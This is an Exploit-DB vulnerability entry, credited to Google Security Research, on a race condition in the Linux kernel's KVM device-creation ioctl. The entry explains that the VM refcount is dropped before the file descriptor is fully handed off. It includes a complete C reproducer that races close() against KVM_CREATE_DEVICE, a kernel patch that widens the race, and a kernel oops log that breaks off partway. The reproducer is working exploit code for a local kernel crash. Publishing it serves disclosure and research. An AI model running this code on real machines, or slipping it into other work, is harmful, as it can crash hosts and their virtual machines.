Exploit-DB #46388
Description: Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference
Type: dos
Platform: linux
Date: 2019-02-15
Author: Google Security Research

Exploit:
kvm_ioctl_create_device() contains the following code:

        dev = kzalloc(sizeof(*dev), GFP_KERNEL);
        if (!dev)
                return -ENOMEM;

        dev->ops = ops;
        dev->kvm = kvm;

        mutex_lock(&kvm->lock);
        ret = ops->create(dev, cd->type);
        if (ret < 0) {
                mutex_unlock(&kvm->lock);
                kfree(dev);
                return ret;
        }
        list_add(&dev->vm_node, &kvm->devices);
        mutex_unlock(&kvm->lock);

        if (ops->init)
                ops->init(dev);

        ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
        if (ret < 0) {
                mutex_lock(&kvm->lock);
                list_del(&dev->vm_node);
                mutex_unlock(&kvm->lock);
                ops->destroy(dev);
                return ret;
        }

        kvm_get_kvm(kvm);
        cd->fd = ret;

This code:

1. creates a device that holds a reference to the VM object (with a borrowed
   reference, the VM's refcount has not been bumped yet)
2. initializes the device
3. transfers the reference to the device to the caller's file descriptor table
4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real
   reference

The ownership transfer in step 3 must not happen before the reference to the VM
becomes a proper, non-borrowed reference, which only happens in step 4.
After step 3, an attacker can close the file descriptor and drop the borrowed
reference, which can cause the refcount of the kvm object to drop to zero.

Reproducer code:

=================================
// run as `gcc -o kvm_fd_install kvm_fd_install.c -Wall -pthread && ./kvm_fd_install`
#include <pthread.h>
#include <fcntl.h>
#include <err.h>
#include <linux/kvm.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>

static int predicted_fd = -1;
static volatile int ready = 0;

static void *do_close_predicted_fd(void *dummy) {
  ready = 1;
  while (1) close(predicted_fd);
  return NULL; /*unreachable*/
}

int main(void) {
  int kvm = open("/dev/kvm", O_RDWR);
  if (kvm == -1) err(1, "open kvm");
  int vm = ioctl(kvm, KVM_CREATE_VM, 0);
  if (vm < 0) err(1, "KVM_CREATE_VM");

  predicted_fd = dup(0);
  if (predicted_fd == -1) err(1, "dup");
  close(predicted_fd);

  pthread_t thread;
  if (pthread_create(&thread, NULL, do_close_predicted_fd, NULL)) errx(1, "pthread_create");
  while (ready == 0) /*spin*/;

  struct kvm_create_device cd = {
    .type = KVM_DEV_TYPE_VFIO,
    .fd = -1, //outparm
    .flags = 0
  };
  if (ioctl(vm, KVM_CREATE_DEVICE, &cd)) err(1, "KVM_CREATE_DEVICE");
  printf("created device: %d\n", cd.fd);
}
=================================

To reliably reproduce the issue, patch the kernel as follows to widen the race:
=================================
diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c
index 5ecea812cb6a..d43677044ec0 100644
--- a/virt/kvm/kvm_main.c
+++ b/virt/kvm/kvm_main.c
@@ -51,6 +51,7 @@
 #include <linux/slab.h>
 #include <linux/sort.h>
 #include <linux/bsearch.h>
+#include <linux/delay.h>
 
 #include <asm/processor.h>
 #include <asm/io.h>
@@ -2970,6 +2971,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
        bool test = cd->flags & KVM_CREATE_DEVICE_TEST;
        int ret;
 
+       pr_warn("kvm_ioctl_create_device: entry: refcount=%u\n", refcount_read(&kvm->users_count));
+
        if (cd->type >= ARRAY_SIZE(kvm_device_ops_table))
                return -ENODEV;
 
@@ -3000,6 +3003,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
        if (ops->init)
                ops->init(dev);
 
+       pr_warn("kvm_ioctl_create_device: before anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count));
+
        ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
        if (ret < 0) {
                mutex_lock(&kvm->lock);
@@ -3009,8 +3014,13 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
                return ret;
        }
 
+       pr_warn("kvm_ioctl_create_device: after anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count));
+       msleep(100);
+       pr_warn("kvm_ioctl_create_device: after sleeping: refcount=%u\n", refcount_read(&kvm->users_count));
+
        kvm_get_kvm(kvm);
        cd->fd = ret;
+       pr_warn("kvm_ioctl_create_device: exiting: refcount=%u\n", refcount_read(&kvm->users_count));
        return 0;
 }
=================================

splat in a patched kernel:
=================================
[  224.536858] kvm_ioctl_create_device: entry: refcount=1
[  224.539410] kvm_ioctl_create_device: before anon_inode_getfd: refcount=1
[  224.541542] kvm_ioctl_create_device: after anon_inode_getfd: refcount=1
[  224.651860] BUG: unable to handle kernel paging request at ffffc900015deb08
[  224.653744] #PF error: [normal kernel read fault]
[  224.655032] PGD 1ead35067 P4D 1ead35067 PUD 1eaeb6067 PMD 1e2c46067 PTE 0
[  224.656834] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[  224.658364] CPU: 0 PID: 1155 Comm: kvm_fd_install Not tainted 5.0.0-rc3+ #251
[  224.660252] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  224.662551] RIP: 0010:kvm_vm_ioctl+0xd75/0xdd0
[  224.663746] Code: c7 c7 a0 f3 a0 a8 e8 53 fa 21 00 bf 64 00 00 00 e8 a0 e5 24 00 be 04 00 00 00 4c 89 ef e8 03 ba 42 00 4c 89 ef e8 cb d8 42 00 <8b> b5 08 9b 00 00 48 c7 c7 00 f4 a0 a8 e8 22 fa 21 00 48 89 ef e8
[  224.668662] RSP: 0018:ffff8881e3c3f988 EFLAGS: 00010246
[  224.670057] RAX: [PII_REDACTED] RBX: 1ffff1103c787f36 RCX: ffffffffa6a2c325
[  224.671950] RDX: [PII_REDACTED] RSI: dffffc[PII_REDACTED] RDI: ffffc900015deb08
[  224.673835] RBP: ffffc900015d5000 R08: fffff520002bbd62 R09: fffff520002bbd62
[  224.675731] R10: [PII_REDACTED] R11: fffff520002bbd61 R12: ffff8881d65863e0
[  224.677615] R13: ffffc900015deb08 R